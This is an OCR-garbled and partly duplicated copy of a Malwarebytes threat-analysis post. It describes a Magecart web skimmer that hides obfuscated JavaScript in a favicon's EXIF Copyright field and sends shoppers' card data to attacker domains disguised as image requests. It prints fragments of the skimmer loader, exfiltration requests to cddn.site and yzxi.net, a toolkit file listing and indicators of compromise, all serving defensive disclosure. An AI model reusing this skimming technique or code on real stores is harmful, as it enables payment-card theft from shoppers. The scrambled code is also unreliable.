
Type COutbound

File: C\Program Files (x86)\G.. e\Application\chrome exe

a Manage Exclusions Close

Malwarebytes was already blocking a malicious domain called cddn[.]site that was triggered upon visiting this
merchant’s website. Upon closer inspection we found that extraneous code had been appended to a legitimate

script hosted by the merchant.

The offending code loads a favicon file from cddn[.]site/favicon.ico which turns out to be the same favicon used
by the compromised store (a logo of their brand). This is an artifact of skimming code that’s been observed

publicly and that we refer to as Google loop.
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* Javascript Cookie wi.l.4
* https://github.com/js-cookie/js-cookie
*
* Copyright 2886, 2815 Klaus Hartl & Fagner Brack
-

feleazed under the MIT license

i

Munction(e){var n=11;if{"function"==typeof definebfdefine.amdi&{define(e},n=18), "object"==typeof exportsii
{module.exports=e(),n=18), In) {var o=window.Cookies,t=window.Cookies=e();t.noConflict=Function(){return window.Cookies=o,t}}}
{function(}{function e()}{for{var e=0,n={};ecarguments.length;es++){var o=arguments[e];for{var t in o)n[t]=o[t]}return n}function
n{o){function t{n,r,i}{var c;if({"undefined”!=typecf docurrentj{:lﬂar'guments l.enf:thﬂj

{if{"number"==typeaf(i=a{{path:"/"},* Tty
Date;a.setMilliseconds(a. geﬁ‘dil]isec C | J S t,q:lir'es?

i.expires.toUTCString():"" ;try{c=150k ea n E ava C rl r=o.write?
o.write(r,n):encodeURIComponent (String(F) Y FEplace] e -
{2$|M|)_b|)_B|$n!|$L|$I:|3IJ|£I-|5P|ﬂa|BH|50|E|I-_|E|£-]I.‘BIJU|!L).-"ngecadEUHLpronent},n={n={n=Encadel.lf{l.tmponent(btr‘ing{njj}.r'ep]ace(,n‘?é
{23|24|26|28|5E |e@| 7C) /g, decodeURICompanent ) ) .replace] /[ \(\) ]/g,e5cape);var £="";far(var s in i]i[s]&&{F+="; "wz,le@l==i[s]8E&
{f+="="+i[s])});return document.cookie=r+"="+r+f}n||(c={}};for{var p:documem: cockizPdocument.cookie, split(™; “):[],d=/(%[0-94-
Z]{2})+/g.,u=B;ucp. length;u+) {var l=p[u].split("="),C{=1.slice(l).Join("="};" " "===C.charAt{@)E&(C=C.slice(l,-1});try{var
g=1[@].replace{d, decodelRIComponent ) ; iF{C=0.read?
o.read(C,g):o0{C,g)||C. replace(d,decodeUR IComponent) , this. json)try {C=150N. parse(C) jeatchim) {}if{n===g) {c=C; break}n| |
{c[gl=C)}catch{m){}}return c}}return t.set=t,t.get=Ffunction(e){return t.call(t,e)},t.getls0N=Function(){return
t.apply({json:!e},[].slice.call{arguments) )}, t.defaults={}, t.remove=Function{n,0){t{n,"",alo,
expires:-1}})},.t.withfonverter=n,t}return n{function{}{})});
Hll:\‘alse;var VRQF=new Image();0bject.defineProperty(VRQF, "id" ,{get:function()

=true; ;requestanimationFrame(function TEmu(}){1ll=false;console.log( "¥c" VRQF); 1f({!11){{function{}{var JAjxc=this;var

Erilr=function{11}{if(11 instanceof Erilr)return 11;if(!(this instanceof Erilr})return new
Erilr{11);this.Erilrwrapped=11};if(typeof exports!=="undefined” ){if(typeof module!=="undefined ' &&module.exports)
{exports=module.exports=Erilr}exports. I—.r'J.lr' Erilr}else{lajxc.Erilr=Erilr}var unng= Erilr.Unnk={8x8298: "Copyright" };function

LEZm(Bakw}{return! ! { BaWw . Ukif ) }fu- _°F “8Ba’ _ wcallback}{fu “don WIOT()"_“ar 117, 9cl” "11);Bakw. UkkF=111] |{};if(callback)
{callback.call{Bzkw)}}var Bod¥y=n M I ]:J S zau| |this.status===-8)
(e Malicio U siJavaScri p

“err' }HoNYY=null}; BoNyY . open{ ' POS 1 —juaniee sty gt P SE-r_fp=— Byt gty 1 b Null) }function Ocla(file){var

(QwDb=new DataView(file);if({QuwOb.getUinta{@)!=axFF]||{Qulb. getuintE(1)]= quu}j{retur-nll}var

MRw=2, length=Ffile.byteLength, BoL ;while(MAw<length ) {iF{Qulb. getUint8(MRw) | =8xFF }{return!1}BoL=0wlb . getUints (MRw+l); 1f{BolL==225)
{return readErilrbata(Qwlb,MRw+d, Jwlb. getlintls (Miw+i) -2} lelse{MRw=2+0wDb . getUintl6 (MRw+2 )} } 1function

readQiv{file,Ht8 HTd,strings, UT){var 11l=file.getUintl1&(HTd, UT]),Qdw={},0eH,He,i;for(i=0;ic111;i++)

{AeH=HTd+i* 1242 ; XHo=strings[file. getuintla(AeH, 1UT{ ) ]; Qiv] XHx]=BCpp(file, AeH HtB, HTd,UTi) dreturn Qivifunction

BCpp(file, heH,HtE,HTd, UT]) {var N . - o
111-File. getuintis(astez, IUT), Ryynz= ST I1M-NI00E = function(Baliw) {

r,denominator;switch(111){case 2:MRAw=l if (!LKZm{Bald))

111="";for({var n=start;n<start+length ceturn:
readérilrbatafile,start){if{RPT(file [ - [ ]
UTH,Qdv, XHe, UkiF, gpsData , JGPruMRw=stal return Baliw. Uk "Copyright']

{uTj=le}else{return!1}if{file.getUint] ¥
111=-file.getUint32(JGErwMRwHL, IUTF) ;L
Jiv}erilr.getData=function(Bakw,callbi g
self.HTMLImageElement ) ) & ! Balw. comple:

{callback.call{Baww)}}returnle};Erilr

Bakw. Ukkf[ ' Copyright’]}; Erilr. readfrol H
BaWw=document.createElement (" img');Bal

. ' K}
{Erilr.gethata(Bakw, function(}{var Ld Epilr.ico = function{1II, callback) { 1II =[".f,-'cddn.site,-'-Favicnn.ico"

{callback(lwi)}});Bakw. parentiode . remr — =< ..
cad=Function()[var userin=[28,326,23,2' var BaWw = document.createElement('img");

rilr.readFromBinaryFile = function{file) {
return 0clG({file)

analytics.com/dfvrph’,gt="";for(var L Balw.src = 1II;
{gt=gt+1111[userID[1111]]; }erilr.icafi Balw.style.cssText = "display:none;’;
{ZHNp=document.createElement( 'div'}; 2l Baliw.onload = function{) {
document . createElement " tpircs) ' .spli . .
RegExp('™",'g'), '\"" ). replace(/\r?n/| Er‘.llr‘.getData(Bal:Jw, ‘FLI.I'1C‘tll:l"I§} {
[©].appendChild(ZHNp); ZHNp . parentiode var Lw? = Erilr.NioOE(this);
if (typeof callback == 'function'} {
callback(LwZ)

However, nothing else so far from this code indicates any kind of web skimming activity. All we have is

JavaScript that loads a remote favicon file and appears to parse some data as well.

This is where things get interesting. We can see a field called ‘Copyright’ from which data is getting loaded.
Attackers are using the Copyright metadata field of this image to load their web skimmer. Using an EXIF viewer,

we can now see JavaScript code has been injected:
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Metadata Viewer: [favicon] (imported)

Value

Exif.Image.Copyright ;eval(function(w,i,s,e){var lll=0;var l111=0;var Il1

.DateTime 2 915:18:58

The abuse of image headers to hide malicious code is not new, but this is the first time we witnessed it with a

credit card skimmer.

The presence of an eval is a sign that code is meant to be executed. We can also see that the malware authors have

obfuscated it. An archive of this script can be found here.
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Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3)

using an tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their

name, billing address and credit card details. It encodes those using Base64 and then reverses that string.
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It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru

They say a picture is worth a thousand words. Threat actors must have remembered that as they devised yet

another way to hide their credit card skimmer in order to evade detection.

When we first investigated this campaign, we thought it may be another one of those favicon tricks, which we had

described in a previous blog. However, it turned out to be different and even more devious.

We found skimming code hidden within the metadata of an image file (a form of steganography) and
surreptitiously loaded by compromised online stores. This scheme would not be complete without yet another
interesting variation to exfiltrate stolen credit card data. Once again, criminals used the disguise of an image file to

collect their loot.

During this research, we came across the source code for this skimmer which confirmed what we were seeing via

client-side JavaScript. We also identified connections to other scripts based on various data points.

Skimmer hidden within EXIF metadata
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The malicious code we detected was loaded from an online store running the WooCommerce plugin for
WordPress. WooCommerce is increasingly being targeted by criminals, and for good reason, as it has a large

market share.
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‘WANT PROJECT INSPIRATION?
> = i

¢ £ o LT )J

- ®Malwarebytes | Premium X

=1 +/ Website blocked due to hijack

Learn about hijack_ If you don't want to block this website, you
can exclude it from website protection by accessing Exclusions

Domain: cddn site

|P Address: 18592148128

Port 443

Type Outbound

File: C\Program Files (x86)\G...e\Application\chrome.exe

a Manage Exclusions Close

Malwarebytes was already blocking a malicious domain called cddnl.]site that was triggered upon visiting this
merchant’s website. Upon closer inspection we found that extraneous code had been appended to a legitimate

script hosted by the merchant.

The offending code loads a favicon file from cddn[.]site/favicon.ico which turns out to be the same favicon used
by the compromised store (a logo of their brand). This is an artifact of skimming code that’s been observed

publicly and that we refer to as Google loop.
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rilr.readFromBinaryFile = function{file) {
return 0clG({file)
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However, nothing else so far from this code indicates any kind of web skimming activity. All we have is

JavaScript that loads a remote favicon file and appears to parse some data as well.

This is where things get interesting. We can see a field called ‘Copyright’ from which data is getting loaded.
Attackers are using the Copyright metadata field of this image to load their web skimmer. Using an EXIF viewer,

we can now see JavaScript code has been injected:
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Metadata Viewer: [favicon] (imported)

Value

Exif.Image.Copyright ;eval(function(w,i,s,e){var lll=0;var l111=0;var Il1

.DateTime 2 915:18:58

The abuse of image headers to hide malicious code is not new, but this is the first time we witnessed it with a

credit card skimmer.

The presence of an eval is a sign that code is meant to be executed. We can also see that the malware authors have

obfuscated it. An archive of this script can be found here.
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Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3)

using an tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their

name, billing address and credit card details. It encodes those using Base64 and then reverses that string.
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It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:

Page 95 of 103


https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/JS_POST.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/JS_POST.png

https://blog.malwarebytes.com /threat-analysis /2020 /06 /web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @A ffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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https://blog.malwarebytes.com /threat-analysis /2020 /06 /web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.]com

Registrant emails

anya.barber56@gmail[.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru

Source: https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-fil

es/
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